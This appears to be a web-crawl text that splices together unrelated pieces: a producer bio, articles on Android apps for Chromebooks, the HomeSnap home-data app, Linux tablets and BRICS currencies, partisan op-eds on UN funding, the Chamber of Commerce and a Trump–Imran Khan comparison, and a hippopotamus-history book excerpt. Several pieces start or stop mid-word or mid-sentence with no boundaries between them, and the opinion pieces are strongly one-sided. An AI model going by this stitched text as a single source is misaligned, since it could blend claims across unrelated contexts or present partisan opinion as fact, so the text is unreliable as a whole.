Mark Greenberg (Co-Producer) is an award-winning photojournalist, editor and best-selling author. His work has appeared in publications worldwide for the past 40-years. In 1987 he was nominated for a Pulitzer Prize for feature photography for his coverage of the Rutan-designed and built round-the-world Voyager aircraft. Mark was the project photographer for Voyager and also co-produced with the BBC the award-winning documentary, VOYAGER THE WORLD'S LONGEST FLIGHT. Since 1988 Mark has worked with the Virgin Group of companies and has enjoyed a 27-year personal relationship with Virgin's founder, Sir Richard Branson. Presently he is project photographer for Virgin Galactic; Branson's private endeavor to bring paying passengers into space.
Aaron Howell (Associate Producer) started in television back in 2006 logging uncut footage for the Lifetime reality show MERGE and the PBS series C |
is that Google will immediately solve a very serious problem facing both Windows and macOS: Apps. As you must know, Microsoft—to its credit—has been racing to solve this issue across Windows Phone, Windows 8.x, and now Windows 10, but has come up short repeatedly, and the Windows Store is still a wasteland compared to mobile app stores. (To be fair, Apple is even further behind: Macs don’t support touch, and the Mac App Store is terrible too.)
Put another way, Google is marrying mobile and PC in a way that Microsoft has promised but not delivered across Windows 8/10 and via Surface and related products. These devices are excellent … PCs. But the tablet part of the experience suffers because of the dearth of apps, and because of the low quality of most of the apps that do exist. (This is of course the trouble with Windows phone, which likewise suffers in the apps department, but can’t fall back on the availability of legacy Windows apps.)
In the Google video, Google director of product management Kan Liu walks through a very compelling demo of Android apps and the Google Play Store on Chromebook. (It starts at about 6:30 in the video.)
Some key points:
It’s just Chrome OS. Google isn’t releasing a new “thing” that combines Chrome OS and Android. Instead, Chrome OS is being updated to support the running of Android apps and the Google Play Store. So you’ll see a Play Store icon pinned to the shelf (Chrome OS’s taskbar).
All Play Store apps just work. Using the Google Play Store app on Chrome OS, you can browse Android’s app store just as you do on Android devices, and then install and run any apps you find there.
Seamless integration. The Android framework integrates nicely with Chrome OS. For example, Android notifications appear in the Chrome notification tray. Apps can save and load files from the Chrome OS file system just as they do on Android. And the Share functionality in Android apps works fine on Chrome OS as well. Android apps will work on both ARM- and Intel-based Chromebooks.
Android apps work offline. While critics don’t understand that many Chrome OS web apps work fine offline, it’s fair to note that many Chrome OS web apps still require an Internet connect. Well, many more Android apps do work offline, of course. And now they will do so on Chromebook too.
Microsoft suddenly has presence on Chrome OS. While you can already run several Microsoft web apps—like the Office Online apps—on Chrome OS, they lack sophisticated features like offline usage. But with Android app compatibility, Chromebook users will suddenly gain access to dozens of high-quality Microsoft apps, including Office Mobile apps that work just fine offline.
Chromebooks are getting Android hardware features. Google and its partners are and will continue to ship Chromebooks that include hardware features that Android apps expect or need. These include touch screens, of course, but also cellular connectivity and other features.
This is big, folks. And if you’re still unconvinced, be sure to watch the video.
Tagged with Chrome OS, ChromebookCurious to know what the homes in your neighborhood are worth? Or how much the current owners paid? Or the square footage or how many bedrooms and bathrooms there are? Snap a picture of a home with HomeSnap, a free iOS app, and you'll get all of this information and more. The app uses your iPhone's GPS and other sensors to figure out which house you are looking at, and then it pulls in MLS info to spit out a variety of data about a home. HomeSnap is so slick and provides so much information that you might wonder whether you ought to be privy to such detail.
The app is literally a snap to use. Put HomeSnap in camera mode by tapping the camera button at the bottom of the screen, point your phone at a home and tap the camera button again to snap a photo. The app will take a few seconds to attempt to find the home you're looking at. In my experience in Concord, N.H. (not exactly a top market), the app did fairly well -- a little less than half the time it matched an address to the picture. If it can't zero in on the home, it shows you a map with blue dots on nearby homes, letting you choose which home you just took a picture of.
Screenshot by Matt Elliott/CNET
Once you have matched photo to address, hit the Done button in the upper-right corner to save the home to your history, which is like an Instagram feed of homes you like. Tap the History button at the bottom of the display to scroll through the homes you have snapped pictures of. Each photo has a color-coded price tag. A blue tag indicates the price is a estimate based on tax records and nearby comps. A green tag is the actual sale price of a home currently on the market, an orange tag is the list price of a home under contract, and a red tag is the sale price of a home that recently sold.
Screenshot by Matt Elliott/CNET
Tap on a home's photo from your history to see the home's details, which include the square footage, lot size, number of bedrooms and bathrooms, year built, estimated taxes, exterior and roof details, heating system, and more. Below this data, the app lists the estimated value, the local schools and a mysterious rating for each of the schools listed, and a map of the area. For a home on the market, you might see photos and links to call a Sawbuck agent or schedule a viewing. (Sawbuck is a online realty service and developer of HomeSnap.)
Screenshot by Matt Elliott/CNET
If you don't want to get caught snapping a picture of a neighbor's home, you can use the app's stealth mode. When in camera mode, tap the black Stealth button in the upper-left corner. HomeSnap will then show you a map of your current location. Tap the button at the bottom of the screen to enter stealth mode and you'll see blue dots for the homes in your immediate area. Tap on a dot to get information about that home. If you tap the Done button for a home in stealth mode, it will get added to your History feed, though instead of a photo of the home, you'll have to make due with a satellite image.
Below each photo in your History feed is a button to add the home to a favorites list and a share button to share the home via Facebook, Twitter, text, and e-mail. You can view a feed of your favorite homes, and tapping on the Stream button at the bottom of the display shows you other homes people have snapped using the app, either those nearby or a random collection of homes anywhere.
Sawbuck states that HomeSnap data for more than 90 million homes. Based on a couple of walks around my neighborhood, I found HomeSnap's estimates were a little lower than current market value, but consistently so. I also found that it didn't always know when a home was on the market, making it an app better suited for those just curious about the homes in their neighborhood than serious house hunters.
Via AddictiveTipsThere is never enough time or space to mock the United Nations adequately. Almost since the moment it was created the UN’s principal purpose has been to provide a forum for the dictators, despots, rogues, and terrorists to bash the United States, to vote to condemn America or Israel — or both — without fear of even the most modest reprisal.
After last week, that may change because President Trump and Ambassador Nikki Haley have threatened to cut foreign aid to those nations that voted against us last week. They may also cut our annual funding of the UN. It’s high time for us to do so.
Preparing to write my book about the UN, Inside the Asylum, I interviewed British historian Paul Johnson. He told me, “The UN is now a central problem for the world because we take too much notice of it.” Since we spoke, it has only gotten worse.
The United Nations is a decaying house of cards kept standing by the roughly $8 billion the United States pays in every year. Many, if not most, of its 192 other members receive some U.S. funding every year.
Mr. Trump is fond of overturning long-held political assumptions. The assumptions on which the UN depends — that every nation and faux-nation such as the Palestinian Authority are of equal importance, and that no penalty need be paid by any tinhorn dictator making another U.S.-bashing speech or vote — are perfect targets.
Last week, the Security Council voted on a resolution proposed by Egypt that purported to require President Trump to reverse his determination that the U.S. embassy in Israel would be relocated to Jerusalem, Israel’s historic capital for, oh, about three thousand years. Amb. Haley vetoed the resolution that was supported by all fourteen other members of the Security Council, including our allies, the United Kingdom and France.
That vote was followed a few days later by a General Assembly vote in which 128 members of the UN voted to declare our embassy move void. (Eight others voted with us and Israel, and 35 abstained and 21 didn’t show up to vote.) Before that vote, Mrs. Haley made a forceful — and brilliant — speech warning that regardless of how the GA voted, we’d move our embassy to Jerusalem.
That’s part of the problem with the UN. The Security Council resolutions supposedly have the force of international law, which means nothing at all unless the nation or nations at which they are aimed decide to obey them. or other nations undertake to enforce the resolutions by military force.
The General Assembly’s resolutions have no effect whatever. Everyone knows this, but the GA often — and loudly — passes dozens of resolutions, usually to praise some despotism or criticize the U.S. or Israel. So do other UN agencies and committees such as the UN Economic, Scientific and Cultural Organization, UNESCO and the UN Human Rights Commission. Those bodies are usually chaired by human rights stalwarts such as Iran and Pakistan.
After the GA vote, Haley promptly issued party invitations to the 65 nations that sided with us, abstained or didn’t show up. Among those who were invited were the Czech Republic and Romania. Both recognized West Jerusalem as Israel’s capital and latter’s parliament is about to consider moving its embassy there.
Among those not invited were Russia, China, France, Japan, almost all Muslim nations and those who almost always vote against U.S. interests. Among them are some of the recipients of our largest annual aid payments.
The president and Amb. Haley are on the right track. Funding should be cut — substantially — to the nations that vote against us and also to the UN as a whole.
As tempting as it is to simply get the U.S. out of the UN, we can’t just quit. As the votes and speeches by Haley proved redundantly, we have to be there if only to protect ourselves (and Israel) from its actions.
But that doesn’t mean that we have to continue to pay vastly more to the UN than any other member. The UN assesses us dues that amount to over 22% of its regular budget, $622 million in 2017. According to a Fox News report, in addition to that, we paid over $2 billion as our “share” of the UN’s peacekeeping budget. As that report shows, we pay more than 176 member states combined for our dues and more than 185 nations combined for the peacekeeping budget.
Many UN members pay less than $30,000 in dues and even less for the “peacekeeping” budget which, by the way, goes to support “peacekeepers” who are frequently accused — correctly — of rape, embezzlement, and other criminal behavior.
And then there’s the UN bureaucracy, stationed not only in New York but around the world. That the federal government is too large, and its bureaucrats too highly-paid, is illustrated by the facts that the federal government is the nation’s largest employer with over two million employees about 500,000 of whom are paid more than $100,000 a year.
UN bureaucrats aren’t — yet — that numerous but they’re on average paid over 30% more than U.S. government employees. It’s a great sinecure for thousands.
And it’s no wonder that so many nations’ representatives vote against us regularly. I interviewed my friend Amb. Jose Sorzano in preparing to write Inside the Asylum. Jose was the deputy to our greatest UN Ambassador, Jeane Kirkpatrick, during the Reagan years.
The UN is, naturally, a hotbed of espionage. Jose told me about a fun exercise he engaged in with his Soviet counterpart. They both went to their intelligence contacts — the CIA and KGB — and asked how many of the UN representatives were instructed how to vote by their governments.
When Jose and the Soviet met for a lunch a few weeks later, they compared notes. The CIA found that only thirty of the then 159 delegates were getting instructions from their governments. The KGB found the same and added that only two actually read the instructions (and one of those two underlined).
In short, the UN is a playground. Its representatives are used to its plush atmosphere, comfortable in their ability to get the attention of the media whose eagerness to publish their anti-American screeches is bottomless.
It’s more than thirty years since Jose was at the UN. Things haven’t improved. Russia has recovered from the fall of the Soviet Union, the Chinese are bidding to be both the biggest economy in the world and the strongest military, the North Koreans are an enormous threat, and the Iranians are still chanting, “death to America.”
The dictators, despots, rogues and terrorists have only increased in number and some — including some of our former allies — have become enemies. The best (worst?) example is Turkish President Erdogan.
Erdogan wants to be the leader of all the Arab nations, a pan-Arabist in the mold of Egypt’s Gamal Abdel Nasser, who tried (unsuccessfully) to unite the Arab nations behind him for nearly two decades. Erdogan is trying his best to do the same.
Erdogan is a radical Islamist who has turned his nation from its role as a secular cornerstone of NATO into an ally of Russia, Iran, and Syria. He signed a treaty with Russia and Iran earlier this year vowing to help protect the Assad regime in Syria.
Of course, Turkey voted against us in the UN. But Erdogan went farther. He said the UN should punish Trump for his announced embassy move and said Turkey would move its embassy to East Jerusalem, which the Palestinians — who aren’t a nation — insist is their capital.
The more we feed the UN, the less we can expect its respect. President Trump has an opportunity that none of his predecessors have taken. He can — and should — drastically reduce our funding of the UN, thus reducing its ability to function.
There will be enormous opposition to his doing that from both our allies and our enemies. Congress will have conniption fits, the caterwauling from the media will be beautiful to behold. But Trump can reduce the UN’s importance, and grow America’s standing in the world by cutting the UN down to size.
Trump should slash its funding, and that of the nations that vote against us when we’re in the right. We don’t demand that our allies march in lockstep behind us. But they — and the rest of the UN members who we pay — should not believe there is no price to pay for opposing what we do.Photo credit: olga.palma via Flickr /CC BY
Ah, inflammatory headlines. You know I'd never deploy one if it weren't true, though -- and this time, sadly, egregiously, it is. The US Chamber of Commerce is using its vast lobbying muscle to try to block the regulation of some toxic chemicals that are routinely being used in consumer plastics. And yes, scientists have discovered that some of those chemicals have been found to mutate male genitalia. In other words, the Chamber of Commerce is fighting to keep chemicals believed to deform the human penis widely available to the American public. ThinkProgress has the story:
the U.S. Chamber of Commerce -- one of the largest and most influential big business lobbying groups in the world -- fired a letter off to Cass Sunstein, administrator of the Office of Information and Regulatory Affairs, telling him to block the regulation of extremely toxic chemicals in consumer plastics. Despite the overwhelming evidence of the dangers of such chemicals, the chamber letter declares that that EPA "lacks the sound regulatory science needed to meet the statutory threshold for a restriction or ban of the targeted chemicals." A wide body of scientific research has linked these chemicals, including phthalates and Bisphenol A (BPA), to declining birth rates, stillbirths, and an increasing number of birth defects. Many of the chemicals under review for increased regulation have already been banned in Europe and Canada. In fact, studies have shown that these plastic chemicals are directly linked to an alarming rate of male genital birth defects such as hypospadias, a condition in which the opening of the urethra is on the underside, rather than at the end, of the penis.
So why is the US Chamber of Commerce trying to protect a chemical that studies have shown to deform penises? It's not rocket science -- the plastics industry is hugely influential, and are major donors and backers of the USCC. Potentially penis-deforming chemicals are clearly cheaper than assuredly non-penis-deforming chemicals, and those plastics companies would just as soon have us peeing out of the undersides of our penises than opting for a costlier replacement.
Note: You may think I'm being overly crass, but, if you dare, take a look at the Wikipedia page for this medical condition. It is devastating (warning: the photos are very graphic), and it may just ruin your weekend. Again,
And this is yet another example of how the Chamber wields its massive influence -- its role in shutting down clean energy and climate efforts are well known -- and is pushing corporate-friendly policies at the expense of the American people.Even his fellow Republicans have labelled him insane. But, defying the predictions of all soothsayers and political pundits, Donald Trump’s still surging popularity with Republican voters suggests that he could become America’s next president. The first step, now within reach, will be winning the Republican Party’s nomination.
Articulating the ‘mad as hell’ anger felt by many Americans towards Washington’s putatively liberal policies, Trump knows it pays to be outrageous and wickedly racist. He follows the black-hating governor of Alabama in the 1960’s, George Wallace, who would famously shout “segregation now, segregation tomorrow, segregation forever” at rallies. Some of Trump’s claims are breathtaking: Mexican immigrants are mostly criminals and rapists, and President Obama is a foreign-born Muslim.
An American political commentator, John Dean (of Watergate fame), describes Trump as “a near perfect authoritarian leader” with a personality type that is “intimidating and bullying, faintly hedonistic, vengeful, pitiless, exploitive, manipulative, dishonest, cheat to win, highly prejudiced, mean-spirited, militant, nationalistic, tell others what they want to hear, take advantage of ‘suckers’, specialise in creating false images to sell self, may or may not be religious.”
Made of the same stuff but packaged differently, the Trump-Khan duo has thrilled extremists.
Take away the “faintly” and this neatly fits Trump’s Pakistani counterpart, cricketer Imran Khan, who burst upon Pakistan’s political scene with his mammoth Lahore jalsa of 2011. With a lavish lifestyle and his playboy past neatly tucked away in some closet the reformed Khan promised the moon as he cavorted on the stage, loudly praying towards Makkah for success.
Khan’s support base is diverse: college-educated “burger bachas”, brigades of bejewelled begums, hysterical semi-educated youth, and wild-eyed TTP supporters. Delighting them all, he unleashes from time to time a steady stream of abuse upon his political rivals who threaten to sue him but are ultimately deterred by Pakistan’s labyrinthine court system.
Made of the same stuff but packaged differently, the Trump-Khan duo has thrilled racial and religious extremists. The former leader of the Ku Klux Klan, David Duke, declared that of all presidential candidates, Trump is “the best of the lot”. Khan received still greater appreciation. He was nominated by the TTP as their representative to last year’s (cancelled) peace talks, the reward for leading massive “peace” marches protesting American drones. Resolutely refusing to condemn any Taliban atrocity, Khan would seek to shift the blame on the US.
Worshipful followers love aggressive leaders. Trump, said to be the most abrasive politician in American history, uses barbs and insults while Khan menacingly swings his cricket bat. Use of indecent language invites no penalties. Last month, Trump crudely remarked that Fox anchor Megyn Kelly, who had aggressively confronted him in a CNN interview, had “Blood coming out of her eyes. Blood coming out of her wherever.” Khan went yet further. From the top of his dharna container, he screamed that a panicking Nawaz Sharif had wetted his shalwar.
Why do such leaders attract followers? First, each can confidently claim that he is his own man, a top-of-his-game type. He can convincingly label political rivals as midgets, corrupt, or incompetent (Khan’s job is easier than Trump’s). The self-made Trump earned a fortune through real-estate business and now owns acres of expensive Manhattan land. His personal worth, though modest on the scale of today’s billionaires, is around $4 billion.
Khan too is self-made. He ranks as one of the world’s best cricket professionals who could bat, bowl, and captain. His cancer hospital is a model of professional management and an important public service, even if his contribution pales before that of Abdus Sattar Edhi.
A second reason: both men are unabashed narcissists. But shouldn’t this turn people off rather than on? In normal life narcissism is considered a personality disorder, but not so in politics. Exceptionally vain and self-absorbed men, who see themselves as deserving attention and power, are often the winners in political contests. Explaining this anomaly is a challenge for those who study group psychology.
A recent issue of Harvard Business Review carries an article intriguingly titled, ‘Why we love narcissists’. The author, Prof Tomas Premuzic of University College London, summarises recent research in psychology that explains how narcissists get ahead in all domains of life. Premuzic distinguishes between “productive narcissists” like Steve Jobs and Bill Gates, who actually created great new industries, with “charismatic narcissists” who use charm to push personal agendas.
Charismatic narcissists, says Premuzic, are masterful impression managers. They dress to impress, disguise arrogance as confidence, and are superb social networkers. Convinced they are never wrong, they take credit whenever things go well. But when things go awry, they blame colleagues and subordinates. Premuzic notes that “It is always easier to fool others when you have already fooled yourself; it is always harder to feel guilty when you think you are innocent.”
Even with wild schemes, the charismatic narcissist can whip up enormous enthusiasm. Trump has vowed to build a wall along the US southern border with Mexico, likening it to the Great Wall of China and has even dubbed it “The Great Wall of Trump”. What he doesn’t know — and doesn’t want to know — is that even the Ming Dynasty’s 13,000-mile wall failed to keep out the Manchurians.
Khan’s ideas make even Trump’s hare-brained schemes look tame. Once I’m in power, Khan declared, I will end corruption in 19 days and terrorism in 90 days. The 19 was subsequently changed to 90; the need for an additional 71 days remained unexplained. But let’s put that aside. It’s now 887 days since Khan’s PTI took over the reins of the KP province. The end of corruption and terrorism should be nigh, right? But don’t hold your breath.
To conclude: charismatic narcissists are much hot air but very little substance. Unfortunately, they can be very dangerous. If running a country they can take it to war, waste resources, and increase internal violence. On the other hand, real leadership requires building high performance teams, emphasising altruism over egotism, and competence over confidence. Until the public understands this, it will continue inviting narcissists to the top while overlooking more reasonable alternatives.
The writer teaches physics in Lahore and Islamabad.
Published in Dawn, September 19th, 2015
On a mobile phone? Get the Dawn Mobile App: Apple Store | Google PlayAmerican Hippopotamus A bracing and eccentric epic of espionage and hippos.
This is a true story, and a very serious one, even though it’s composed of many details that will seem ludicrous and impossible. Most of those details are irrefutable, though. And while I worked hard to verify the rest, doing so occasionally proved futile. I’d like to try and explain why. This is a story about hippopotamuses, as advertised, but it’s also a story about two very complicated and exceptional men. These men were spies. They were also bitter enemies. Each wanted to kill the other and fully expected to feel really good about himself afterward. Eccentric circumstances—circumstances having to do with hippopotamuses—would join these men together as allies and even dear friends. But then, eventually, they’d be driven into opposition again. Whatever strange bond these two men had, they were loyal to it. They were like repulsive magnets: Some fundamental property of each was perfectly opposed to the core of the other. And yet, somehow throughout their long lives—as several volatile phases of American history tumbled along in the background—they also had a way of continually snapping back together. One of these men was a humble patriot, known for his impeccable integrity. He tried to leave detailed, reliable accounts of what he did and thought and felt. The other, I discovered, was a megalomaniac and a pathological liar. These two men will seem larger than life, but they lived at a time, a hundred years ago, when, I would argue, life in America seemed larger than life—when what was unimaginable still felt feasible and ideas that looked ridiculous could still come true. That said, this is the story of one idea that looked ridiculous and didn’t come true. The idea was ridiculous. But it was completely reasonable, too. All I can say is, try to keep that in mind.
The Most Complete Human Being Who Ever Lived Frederick Russell Burnham didn’t like public speaking, but he arrived at the Maryland Hotel, in Pasadena, California, on the night of September 19, 1910, determined to communicate a few clear and uncontroversial truths. Burnham was 49 years old—a frontiersman and soldier of fortune who’d spent his life leaping into conflicts with American Indians and colonial wars in Africa. He looked bronzed and weather-beaten, like a living monument to those campaigns, and though small—he was only about five foot four—his presence was imposing. He was a compact strongbox of a man. One admirer would describe him as “emphatically a man’s man: able, active, alert.” The impression he gave was immediately one of “force and self-control.” Burnham had risen to fame as a scout—an esteemed breed of solitary wayfinder and spy with no exact analog in contemporary warfare. Scouts slinked into enemy territory to gather intelligence or cut supply lines, or roamed the no man’s land around camp to keep watch. They were disciplined, self-sufficient, preternaturally competent. Their proficiency in the wilderness seemed almost supernatural at times, and Burnham, who’d earned the nickname King of Scouts, exemplified their character and prowess. “He has trained himself to endure the most appalling fatigues, hunger, thirst, and wounds; has subdued the brain to infinite patience, has learned to force every nerve in his body to absolute obedience, to still even the beating of his heart,” wrote the journalist Richard Harding Davis. “He reads ‘the face of Nature’ as you read your morning paper.” Another writer described Burnham’s life as “an endless chain of impossible achievements.” People who met Burnham tended to comment on the same disarming quality of his eyes. The novelist H. Rider Haggard called them “steady, grey blue eyes that have in them a far-away look such as those acquire whose occupation has caused them to watch continually at sea or on great plains.” They were eyes that absorbed every inch of the periphery, even as they bored deep into your own—eyes, one woman noted, “of startling keenness and brilliancy, eyes that see everything without seeming to see.” She remembered sitting with friends under a great sycamore tree in California while Burnham spun tales of a certain African siege. The scout paused at one point and said casually, “We’ll kill that snake when I finish the story.” No one else had noticed the rattlesnake that had slithered in silently behind them as he spoke. He was “a man whose senses and abilities approached that of a wild predator,” one writer explained. He could go two and a half days without sleep. He could fix a pistol’s broken mainspring with a bit of buffalo bone. It was said he could smell water from afar, and very seldom drank alcohol and never smoked, for fear it would dull his senses. Commanding officers described him as half jackrabbit and half wolf, or as “a man totally without fear.” But ultimately, the most impressive thing about Burnham may have been his reticence to talk too much about his conspicuous impressiveness. (Years later he would prepare two versions of a prologue for his memoirs and label them “Boastful” and “Non-Boastful.” The “Boastful” version was hardly boastful, and the last paragraph of the “Non-Boastful” version began: “If mine seems a rather boastful recital, I shall apologize.”) One acquaintance would call him “the most complete human being who ever lived.” Burnham had come to the hotel in Pasadena to address the Humane Association of California at its second annual convention, a banquet hall full of do-gooders, dedicated to the prevention of cruelty to animals. The Humane Association had quickly become one of California’s most powerful civic organizations, and Burnham—now part of an eccentric brain trust that was getting its own innovative animal project off the ground—knew that the philanthropists in the room might be valuable allies. He didn’t necessarily respect them, though. Privately, he mocked humane societies as small-minded and sentimental—full of romantics who’d rush to save flies from murderous spiders. It was foolish, Burnham felt, to “fritter away our money and time on silly, emotional things as proposed by so-called animal lovers” at a time when America roiled with so many substantial opportunities and terrors. Burnham was here at the Maryland Hotel to call these animal lovers to a higher purpose, to gather them behind an idea. It was a grand and sparkling idea, an idea with momentum. The idea was already making its way through the U.S. House of Representatives in the form of a bill, introduced by one of Burnham’s partners, the Louisiana congressman Robert Broussard. Theodore Roosevelt, a friend of Burnham’s, had been so impressed with the idea a few years earlier that, newspapers reported, he’d pledged “his hearty approval and promise of cooperation.” Days before the speech in Pasadena, Burnham had gone to Denver to meet with the former president and secured his endorsement all over again. The New York Times called the idea “practical and timely.” Editorials around the country claimed that the idea’s time had come, or that it couldn’t come soon enough. The idea was to import hippopotamuses from Africa, set them in the swamplands along the Gulf Coast, and raise them for food. The idea was to turn America into a nation of hippo ranchers.
The Meat Question “I do not think this importation idea can be laughed down,” Congressman Broussard had insisted to the press. And truly, to anyone who appreciated common sense—who loved to see logic, like a bicycle chain, pushing a wheel smoothly forward—the idea was nothing short of gorgeous. Hippopotamuses, it turned out, could solve a number of problems for the country, all at once. For starters, they constituted a blubbery, elegant fix to what newspapers had taken to calling the Meat Question. America was withering under a serious meat shortage at the time. Beef prices had soared as rangeland had been ruined by overgrazing, and a crippled industry struggled to satisfy America’s explosively growing cities, an unceasing wave of immigrants, and a surging demand for meat abroad. There were more mouths to feed than ever, but the number of cows in the country had been dropping by millions of head a year. People whispered about the prospect of eating dogs. The seriousness of the Meat Question, and the failure to whip together some brave and industrious solution to it, was jarring the nation’s self-confidence and self-image. It was a troubling sign that maybe the country couldn’t keep growing as fast and recklessly as it had been. Maybe there were limits after all. Now, though, someone had an answer. The answer was hippopotamuses. One Agricultural Department official estimated that an armada of free-range hippos, set moping through the bayous of Florida, Mississippi, and Louisiana, would easily yield a million tons of meat a year. Already, Representative Broussard had dispatched a field agent on a fact-finding mission. The man, a native of southern Africa, found the Louisiana swamps “wildly dismal and forbidding.” (The “silence strike[s] one with an almost unforgettable horror,” he wrote in his report, titled “Why and How to Place Hippopotamus in the Louisiana Lowlands.”) Still, the place was perfect for hippos. His conclusion: “The hippopotamus would find no difficulty living in Louisiana.” Apparently, the animals tasted pretty good, too, especially the fatty brisket part, which could be cured into a delicacy that a supportive New York Times editorial was calling, euphemistically, “lake cow bacon.” (“Toughness is only skin deep,” another reporter noted.) Congressman Broussard’s office was receiving laudatory letters from ordinary citizens, commending his initiative-taking and ingenuity. Several volunteered to be part of the expedition to bring the great beasts back. In other words, in the encroaching malaise of 1910, it was easy to be gripped by the brilliance of the hippopotamus scheme, to feel hippopotamuses resonating not just as a way of sidestepping catastrophic famine, but as a symbol of American greatness being renewed. Burnham’s generation had seen the railroad get synched across the wild landscape like a bridle and the near solid swarms of buffalo and passenger pigeons get erased. America had dynamited fish out of rivers, dredged waterways, felled and burned forests, and peeled silver from the raw wreckage of what had once been mountains. The frontier was now closed. So much had been accomplished and so much taken. It was clear that a once boundless-seeming land did have boundaries, and with those limits revealed, you couldn’t help but feel like you were drifting listlessly between them. There was a sense in the country of: Now what? And, lurking beneath that: What have we done? For Burnham, though, this moment was only a chance for the country to pause and regather itself, then start over, with more wisdom this time. “Let us not make the same mistakes again,” he would tell the Humane Association that night in Pasadena. “This nation has reached a stage in its development where we should take stock of our assets and make full use of them in an intelligent manner.” So much of the continent had been left “lonely, silent, devoid of life in any useful form,” and, Burnham believed, “the hour of time is at hand when we can make use of it. It is within our power to people it with useful and beautiful animals.” In short, the same industriousness that had allowed America to snatch up the continent’s natural resources and snuff out its beauty could be deployed now, more pragmatically, to restock it. Yes, the hippo idea sounded crazy. But as a glowing editorial in Washington Post noted, “Proposals which at first may look odd and chimerical to the mass of our readers will be seen to be matter-of-fact propositions when they become familiar.” And if we’d learned to swallow raw oysters and suck the meat out of crabs, the paper argued, why couldn’t we also embrace “that plump and pulchritudinous beast which has a smile like an old-fashioned fireplace?” The reasons it might look impossible were fickle and foolish. Burnham understood that the most restrictive boundary America was running up against was psychological—a scarcity of courage and imagination, and not really just meat. The introduction of hippos would signal an awakening, a kind of national maturation: proof that, as Burnham put it, “we have passed from the destructive to the constructive period of our national life.” Lippincott’s Monthly Magazine was even more stirred by their promise: “This animal, homely as a steam-roller, [is] the embodiment of salvation,” it wrote. “Peace, plenty, and contentment lie before us; and a new life, with new experiences, new opportunities, new vigor, new romance, folded in that golden future when the meadows and the bayous of our Southern lands shall swarm with herds of hippopotami.” The master of ceremonies at the Maryland Hotel that night was the Reverend Robert Jones Burdette, an avuncular Baptist minister known nationally for his early career as a newspaper humorist and touring performer. (Burdette, it was said, had delivered his comedic lecture “The Rise and Fall of the Mustache” more than 3,000 times.) All night he introduced speakers with poems and little jokes. But when announcing Burnham, all of Burdette’s corniness fell away. The reverend seemed suddenly stiffened, stilled—like the air before an electrical storm. “I am going to introduce to you a man who knows the cruel edges of war,” he began. “Who has seen the keen blades sweep together as they clashed like the grim shears of Atropos, severing the throbbing threads of human life, smearing the golden sands and the emerald grasses with the darkest stains that ever discolored the pain-distorted face of God’s beautiful world. A soldier. A scout whose name has filled both hemispheres with stories of his daring and loyal service. The rider of the bad lands between the lines, who trusts his own knowledge some, providence a great deal, and the sound legs and good horse sense of his steed perhaps most of all in some blood-freezing emergencies.… I am honored, in being permitted to present, as our next speaker, the only man in America who [knows |
although right now it would make the consumer more likely to buy an iPad than anything else.
Because, when it comes to tablets, the iPad is where the apps are. On a personal note, I'm finding my Nexus 7 fantastic, but (games aside) most Android apps aren't that well optimised for tablets. iOS has been a serious tablet contender for longer than Android, and it shows — the iPad's app range makes it, for many people, a viable PC replacement.
So, if a Linux distro is to play in this game, it will need the apps. For that, it will need developers. Plenty of devs are well-disposed towards Linux, so that's a start, but they will need convincing that a mobile Linux platform other than Android is worth addressing in earnest.
For that reason, if PC manufacturers really are considering a post-Windows future, they will need to take action together. There are options, but the industry would really need to pick one and run with it, if it were to create a viable alternative to Windows, iOS and Android.
This sort of collaboration has not worked before, certainly when it was tried in the mobile industry (then again, those debacles were driven by the interests of operators, rather than manufacturers). Could it work now? Unlikely, but not impossible.
Urgency
The tablet market is still getting established, but that won't be the case much longer. Consumers will soon make their choice and stick with it — Linux can't be too late.
On the evidence so far, Apple is the most likely platform to supersede Windows if tablets really do take over from laptops. But then again, Apple was never going to be a partner to the likes of Acer.
Meanwhile, both Google and Microsoft are trying to simultaneously be competitors and partners to the manufacturers — that's a horribly precarious position to be in, if you're a manufacturer, and it discourages relying too much on either Android or Windows RT.
And that is the lesson of platform politics: the company behind the platform will always tighten up its control at some point. No commercial platform vendor is a reliable partner. The only possible way out is a community effort that is broad enough to succeed.
If they are to survive this very tumultuous phase of the computing game, manufacturers need to learn that lesson, and they need to learn it now.Brazil, Russia, India, China, and South Africa -- the BRICS -- hope to move the world away from the U.S. dollar and Western-dominated financial institutions, which they say do not meet the needs of emerging economies.
But steep drops in recent weeks in the currencies of the five countries, which account for 40 percent of the world's population and about one-fifth of global economic output, underscore how difficult it would be for any of them to take the dollar's place.
In July, the Russian ruble fell to 60 to the dollar on sagging oil prices, canceling most of the partial rebound it had made since the end of last year, when it sank as low as 80 to the dollar due to low oil prices and Western financial sanctions over Moscow's interference in Ukraine. The ruble dropped to 64.4 per dollar on August 6, its weakest since February.
China's renminbi also fell against the dollar in July as China's stock market suddenly lost 30 percent of its value in a spectacular crash following a half-year of frantic, speculative growth.
For Russia, in addition to persistent geopolitical tensions, the ruble's volatility comes from being closely tied to commodity prices, a situation shared by the currencies of Brazil, India, and South Africa. China, one of the world's biggest commodity importers, has a much more diversified export sector but, as the stock-market crash showed, its gradually liberalizing economy still leaves plenty of room for surprises.
An Alternative To Free Markets?
Yet analysts say that an even bigger problem for all of the BRICS' currencies may be the way the countries' jittery, politically beholden central banks overmanage them in crises. That makes it difficult for investors to anticipate what will happen, further diminishing their attractiveness as a medium for global trade and investment.
"We have far from transparent monetary policies in Brazil or Russia and that raises the question of what are really the objectives of these central banks and under what conditions will they do what things, either in the currency market or in increasing interest rates," says Lars Christensen, an international economist and head of the Copenhagen-based Market and Money Advisory.
China has long dreamed of internationalizing its currency, and later this year the International Monetary Fund (IMF) is expected to consider whether to add the renminbi to its basket of reserve currencies that countries may use for depositing to, or borrowing from, the global lending institution. Today, there are only four such reserve currencies: the U.S. dollar, the euro, the Japanese yen, and the British pound.
But whether the renminbi, also known as the yuan, will be added to the list will depend much on Beijing's willingness to complete what so far has been only partial progress toward a free-floating exchange rate.
"The reason the renminbi has not been part of the IMF's so called Special Drawing Rights basket [of reserve currencies] has been that the renminbi has not been fully convertible and obviously we cannot talk of a currency as a reserve currency if you don't have completely free access to that currency," Christensen says.
To date, China's central bank has controlled the foreign exchange rate to keep it low against the dollar and give Chinese exports a price advantage over competitors. There are also capital restrictions on how much money can be transferred in and out of China.
That means a better way for China and the other BRICS to foster alternatives to the U.S. dollar might not be to build a rival system but instead to adopt the same free-market values that have made the dollar the world's most attractive currency for investors and traders.
